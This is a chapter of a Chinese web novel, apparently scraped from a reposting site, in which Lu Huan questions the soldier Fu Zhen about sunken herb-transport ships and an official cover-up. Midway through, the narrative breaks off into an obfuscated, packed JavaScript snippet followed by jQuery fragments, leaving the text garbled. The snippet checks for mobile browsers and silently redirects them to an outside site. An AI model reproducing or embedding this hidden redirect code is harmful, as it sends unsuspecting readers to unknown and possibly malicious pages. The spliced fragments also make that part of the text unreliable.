80. 沉船一案

作品:《苦荞

    是了,春来细枝会染绿抽芽,笼罩在朝州府上的阴云总有散开的一天。


    人目不似佛陀那般悲悯,更多时只能顾到自己,人身也不似佛身那般高大,更多时只觉得路边的破屋能够容身挡雨就好。


    于是,傅震想知道陆桓的立场和动机。


    “这事儿不是随便一个人都好插手的,而我看你的年纪……”傅震上下打量了陆桓两眼,摇头轻喃道:“不像局中人。你又何必呢?”


    “怎么不是局中人?”陆桓嘴角轻挑起一抹笑意,嗓音微涩地道:“我父亲是前朝州府知府陆彰,在任期间领治水之事,只业未竞,身先死……”


    他稍稍顿住了话音,目光转朝身侧边的那条陡直的长青石阶俯瞰去——越是离远的底处,石阶的边缘越是模糊,乃至于黑魆魆的一片视野里,石阶存在与否都没有什么太大的区别了。


    对面的傅震在听得陆彰之名后,神情已不由得凝住,而原本由他在两人之间所竖立的那道冰盾已被他撤回。


    傅震怎不知陆彰是谁?


    风雨如晦,世人所知陆公半生颠簸,而其身后之名并非由朝廷宣扬扩来,而是流淌在了宽阔的淮水当中。


    从朝州府的陆苑到临安皇城,陆公以三元及第铺一程锦绣,而从临安城到朝州府,陆公则背负着蛊惑太子的恶名“回归”故里。


    然被贬谪至朝州府的陆公似乎并没有因为先前那场残酷的党争而灰心丧气,相反,他似乎因为远离了临安而斗志昂扬。


    在与淮水里的泥沙相争相斗的数年里,陆公之名扬于四野,而傅震虽为无名之卒,亦听北原的军士们提说过陆公的事迹。


    与此对应的是,傅震对于陆公因忽染恶疾而隐退辞官的传闻十分不解……


    “他便是陆公的儿子?可他牵扯进这件事里来做什么?”傅震眉间神色不禁一阵沉凝,而眸光便似笼在人头顶上方的那些枯枝一般紧将陆桓“锁定”。


    至此,深究的人已变成了傅震。


    “从那三只运送药草的大船沉入淮水的消息传来的那一刻起,我便再坐不住,四处暗中查访。据官府的说法,沉船处水流湍急,大船是因撞上了那些侧边山壁所没入水中的暗石尖棱才翻的,而药草没能捞上几捆几袋不说,到底泡过了水,已然失之效用。”


    “这无疑是笼罩在朝州府上空的最为惨淡的一片阴云,只牛疫与饥荒所牵及的那些悲剧后果与艰难过程,在某些人眼中便不过一个个单纯的数字而已……”


    陆桓冷笑了声,“他们还隐隐想将船沉之事推给当初主理治水之事的父亲,却不敢白纸黑字交写呈词,而以口舌在贵人耳旁提起时,停顿等于强调……”


    傅震嘴巴微张,惊讶地道:“难道无耻的把戏要做足了全套,他们才能称意么?那贵人怎么看?”


    “这就难得说了。”陆桓淡淡一笑,“但我直等了几月,也并未见贵人对陆氏发难,临安城那边也没有传来什么消息。”


    “所以你是为了维护你父亲的声名才打算插手的?只贵人既没有针对陆氏,你……”话至此处,傅震便觉喉咙口仿佛被什么东西给噎堵住了一般,他愣愣地再说不出什么话来。


    傅震脑中渐得了几分清明。他应当明白的,贵人没有发作便意味着朝廷不会再深究沉船的原因,至于贵人是否相信朝州府官员的呈报,似乎已经没有那么重要了。


    未觉间,月色轻从树梢间渗落,在两人脸上映出几条横斜交割的线条阴影来,而随着人轻轻摇头,面皮明暗交迭。


    “虽然朝廷并不打算深究下去,但谁知道往后会不会有人拿了这事出来做文章呢,便是做文章,我也希望是由我来做。”


    陆桓声音微沉地继续说道:“淮水在金葫芦口分内外两江,两侧水流的情况差异甚大,而原本船只从运河口驶出后,一般都走的内江水道,因为内江水流相对平缓,且是由人工凿出的,并不存在暗石破船的凶险情形……”


    “但船只翻沉的地方却在外江。”陆桓神色冷峻地看向傅震,疑问道:“你们为何要走外江呢?”


    “你何以肯定我们走的是外江?”傅震惘然轻叹道:“回头来,世人都中了障眼法么?”


    陆桓不禁皱了皱眉,沉声问道:“何解?”


    傅震的话音如清寒的月光般不带丝毫温度,“我倒真真好奇朝州知府究竟呈递上一份怎样的奏报了!押送药草的军士既然死无全尸,那便没有人证,难道关于沉船经过的奏报内容全凭臆测写的?”


    “耽误牛疫防治,终究是百死难辞其罪,可朝州府知府却还稳坐其位……这便是他为人遮掩罪行的‘回馈’么?”


    陆桓低眉抿唇道:“你不就是人证么?只可惜,有人并不需要你的存在。想来,袁大娘一家所知内情也非全部吧……”


    “我虽与他们同经生死过,但这些事若让他们知道原委,他们日后怕是没得安生日子过了。”傅震仰头长叹了声,旋对陆桓黯然笑道:“但你找来了,这已让我再不能安生下去。”


    陆桓默然,只定定迎上傅震那双映着月色的眼……


    同样的月色,亦映在数月前的淮水当中,散泛如鱼鳞遍目。


    是夜,七八只飞舟紧护在大船四周,从金葫芦口划入内江当中……


    身为伍长的傅震领了几个兄弟扎在其中队尾的一只飞舟上,但觉着这夜安静异常,他数次提醒守夜的军士们小心警惕,于是几人连眼皮都不敢轻眨一下。


    而等他们觉着眼球酸涩时,周遭的火光却被几道飞矢射灭了!


    军士们顿时警铃大作,拔刀应敌!


    傅震他们原是从北原军中抽调南下押运药草的,作战能力自不会如何逊色,只来敌的身手和数量实在出乎他们的意料……


    一条条如鬼魅般的身形从大船底部冒出,而不待守运草药的军士们反应过来,鬼魅手中的箭弩已经对准了军士的胸膛——只听得“扑哧”数声,那些“沉厚”的盔甲便被金属箭头穿破!<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935083|160710||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “这些盔甲竟是有问题的……”骚|乱之中,傅震的眸色直转为惊怒!


    一切都发生得那么突然!


    傅震所能够清晰感受到的,是面上所传来的温热与冰凉之感交替——鲜血与河水都溅到了他的皮肤上!


    眼瞧得那一团团黑影如轻烟一般飘到大船上,而死在他们手下的军士的尸体却如沉木一般彻底地掉进深水之中,傅震只觉得自己肺部的那处空洞口似乎与喉咙连接相通了般,使他呼气时,口鼻中均是一股血腥气味!


    船上惨叫声频起,但意识已经开始涣散的傅震却有些听不清了……他的视野里是一片鲜红,映着几点忽明忽暗的黄色火光,竟显得那般沉抑!


    傅震挣撑着翻了翻沉重的眼皮,依稀见得有几条黑影趴摸到了他左前方的飞舟上,拿尖刀对舟中之人一通猛刺……在确定人没了呼吸后,他们随即沉舟抛尸!


    “也不知从哪里抽使上来的气力,我紧捂了伤口,侧卧到小舟一边,终将其翻沉……于是我逃了出来。”


    傅震的话音渐变得沉冷,而他两侧的腮帮子则因他紧咬着后槽牙而变得鼓胀起来,“我至今都还记得自己往河面上看的最后一眼,大船改成了逆行,而我那帮兄弟们的身体则不断地往下沉坠……”


    “我知道他们的身体会被泥沙冲裹到下游,便是意外被冲到了河滩上,那也已经是面目难辨了,而更多的,确是腐肉被鱼虾吞食,白色的骷|髅成为盛装淤泥的容器。”


    话至此处,傅震已是情难自抑,双肩是一阵紧抑不住的颤抖。


    陆桓的面色更显冷峻,皱眉缓说道:“其实在内江的泥滩上,也曾发现两具尸体,只官府将这消息压下来了,且仵作的验尸结果也作了假。至于再往下游,两江交汇后,便是再发现沉尸,也同你说的那般,辨不清面貌与事发之地。”


    “何况,如今淮水一线动荡未安,如盗贼匪徒横尸街头无人过问,如今夜里死去的流民,在被我们沉入拖罗河之后就再没有之后了……没有人会去深究一具死尸的来源。”


    傅震眸色闪烁,嘴唇紧抿成了一条线,“你怎么知道官府的人动了手脚?”


    “你方才还道我‘煞费苦心’不是?”陆桓轻叹出了口气,接着淡声说道:“所以运送药草的船只逆行至金葫芦口之后,便折进外江里翻沉了是么……”


    “而你,漂流至淮水北岸,被聚在附近粥棚领粥的流民所救,却由此暴露行踪。便脱去军服,沿路逃亡,侥幸被潘怜儿夫君林掌柜的搭救,也终究被暗侍缠上,而潘怜儿一家,则因你而被迫逃亡。”


    傅震呼吸微滞,定朝陆桓探去的眸色闪烁,如流月无声的河水般。


    而与此同时,傅震的内心却得了一种宁和:陆桓得知了一应内情,这世上便不仅有他一人保守秘密了……


    并且他相信,无论日后自己会陷于何种危境,陆桓都有手段保全自身。便只要陆桓活着,这障目戏法迟早都会有被揭开的一天。